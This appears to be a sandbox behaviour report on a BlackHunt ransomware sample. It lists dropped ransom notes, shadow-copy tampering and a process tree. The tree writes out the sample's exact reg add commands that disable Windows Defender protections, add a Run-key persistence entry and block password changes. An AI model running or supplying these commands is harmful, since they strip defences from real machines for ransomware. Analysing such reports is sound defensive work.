File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\license.html	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.historicaldata.ja_5.5.0.165303.jar	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.console.nl_zh_4.4.0.v20140623020002.jar	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\TestSearch.xht	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\#BlackHunt_Private.key	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\Notes_content-background.png	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Nome	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File created	C:\Program Files (x86)\Uninstall Information\#BlackHunt_ReadMe.txt	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ug\LC_MESSAGES\#BlackHunt_ReadMe.hta	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\feature.properties	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\Argentina\#BlackHunt_ReadMe.txt	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\mai\LC_MESSAGES\vlc.mo	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\vlm_export.html	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\license.html	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\kn\LC_MESSAGES\vlc.mo	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-util-lookup.xml	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nn.txt	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.ja_5.5.0.165303\#BlackHunt_Private.key	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Berlin	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\.settings\#BlackHunt_ReadMe.hta	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\#BlackHunt_ReadMe.hta	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\include\win32\bridge\AccessBridgeCalls.c	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\#BlackHunt_ReadMe.hta	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.directorywatcher.nl_zh_4.4.0.v20140623020002.jar	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-lib-profiler-charts.xml	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jre7\bin\server\Xusage.txt	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Goose_Bay	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\#BlackHunt_ReadMe.hta	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationUp_ButtonGraphic.png	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hi\LC_MESSAGES\#BlackHunt_Private.key	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\AUTHORS.txt	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\d3d11\#BlackHunt_Private.key	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\demux\#BlackHunt_Private.key	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\javax.annotation_1.2.0.v201401042248.jar	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-uisupport.xml	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Indiana\Tell_City	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gl\#BlackHunt_ReadMe.hta	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\EST5EDT	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Casablanca	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core-windows.jar	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\#BlackHunt_ReadMe.txt	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\#BlackHunt_ReadMe.txt	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2088	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2148	vssadmin.exe
3972	vssadmin.exe
2572	vssadmin.exe
2460	vssadmin.exe
2884	vssadmin.exe
112	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4812	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4352	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
4620	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
Token: SeRestorePrivilege	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
Token: SeBackupPrivilege	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
Token: SeTakeOwnershipPrivilege	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
Token: SeAuditPrivilege	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
Token: SeSecurityPrivilege	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
Token: SeIncBasePriorityPrivilege	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
Token: SeBackupPrivilege	1372	vssvc.exe
Token: SeRestorePrivilege	1372	vssvc.exe
Token: SeAuditPrivilege	1372	vssvc.exe
Token: SeBackupPrivilege	2480	wbengine.exe
Token: SeRestorePrivilege	2480	wbengine.exe
Token: SeSecurityPrivilege	2480	wbengine.exe
Token: SeSecurityPrivilege	3212	wevtutil.exe
Token: SeBackupPrivilege	3212	wevtutil.exe
Token: SeSecurityPrivilege	928	wevtutil.exe
Token: SeBackupPrivilege	928	wevtutil.exe
Token: SeSecurityPrivilege	2120	wevtutil.exe
Token: SeBackupPrivilege	2120	wevtutil.exe
Token: SeSecurityPrivilege	1732	wevtutil.exe
Token: SeBackupPrivilege	1732	wevtutil.exe
Token: SeSecurityPrivilege	2500	wevtutil.exe
Token: SeBackupPrivilege	2500	wevtutil.exe
Token: SeDebugPrivilege	4812	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2900 wrote to memory of 2796	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	29
PID 2900 wrote to memory of 2796	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	29
PID 2900 wrote to memory of 2796	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	29
PID 2900 wrote to memory of 2796	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	29
PID 2900 wrote to memory of 2144	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	31
PID 2900 wrote to memory of 2144	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	31
PID 2900 wrote to memory of 2144	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	31
PID 2900 wrote to memory of 2144	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	31
PID 2796 wrote to memory of 2604	2796	cmd.exe	33
PID 2796 wrote to memory of 2604	2796	cmd.exe	33
PID 2796 wrote to memory of 2604	2796	cmd.exe	33
PID 2900 wrote to memory of 2660	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	34
PID 2900 wrote to memory of 2660	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	34
PID 2900 wrote to memory of 2660	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	34
PID 2900 wrote to memory of 2660	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	34
PID 2144 wrote to memory of 2684	2144	cmd.exe	36
PID 2144 wrote to memory of 2684	2144	cmd.exe	36
PID 2144 wrote to memory of 2684	2144	cmd.exe	36
PID 2900 wrote to memory of 2700	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	37
PID 2900 wrote to memory of 2700	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	37
PID 2900 wrote to memory of 2700	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	37
PID 2900 wrote to memory of 2700	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	37
PID 2900 wrote to memory of 2616	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	39
PID 2900 wrote to memory of 2616	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	39
PID 2900 wrote to memory of 2616	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	39
PID 2900 wrote to memory of 2616	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	39
PID 2900 wrote to memory of 2420	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	41
PID 2900 wrote to memory of 2420	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	41
PID 2900 wrote to memory of 2420	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	41
PID 2900 wrote to memory of 2420	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	41
PID 2660 wrote to memory of 2952	2660	cmd.exe	42
PID 2660 wrote to memory of 2952	2660	cmd.exe	42
PID 2660 wrote to memory of 2952	2660	cmd.exe	42
PID 2900 wrote to memory of 2644	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	43
PID 2900 wrote to memory of 2644	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	43
PID 2900 wrote to memory of 2644	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	43
PID 2900 wrote to memory of 2644	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	43
PID 2900 wrote to memory of 2628	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	44
PID 2900 wrote to memory of 2628	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	44
PID 2900 wrote to memory of 2628	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	44
PID 2900 wrote to memory of 2628	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	44
PID 2700 wrote to memory of 2128	2700	Process not Found	46
PID 2700 wrote to memory of 2128	2700	Process not Found	46
PID 2700 wrote to memory of 2128	2700	Process not Found	46
PID 2900 wrote to memory of 2088	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	140
PID 2900 wrote to memory of 2088	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	140
PID 2900 wrote to memory of 2088	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	140
PID 2900 wrote to memory of 2088	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	140
PID 2616 wrote to memory of 2520	2616	cmd.exe	50
PID 2616 wrote to memory of 2520	2616	cmd.exe	50
PID 2616 wrote to memory of 2520	2616	cmd.exe	50
PID 2900 wrote to memory of 2720	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	51
PID 2900 wrote to memory of 2720	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	51
PID 2900 wrote to memory of 2720	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	51
PID 2900 wrote to memory of 2720	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	51
PID 2900 wrote to memory of 2476	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	53
PID 2900 wrote to memory of 2476	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	53
PID 2900 wrote to memory of 2476	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	53
PID 2900 wrote to memory of 2476	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	53
PID 2628 wrote to memory of 2492	2628	cmd.exe	54
PID 2628 wrote to memory of 2492	2628	cmd.exe	54
PID 2628 wrote to memory of 2492	2628	cmd.exe	54
PID 2900 wrote to memory of 2516	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	55
PID 2900 wrote to memory of 2516	2900	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe	55

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
"C:\Users\Admin\AppData\Local\Temp\d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2796
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2144
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2660
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2616
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2420
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2644
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2628
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2088
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:3068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2476
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2516
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2408
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1440
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2180
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1268
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2304
- C:\Windows\System32\cmd.exe
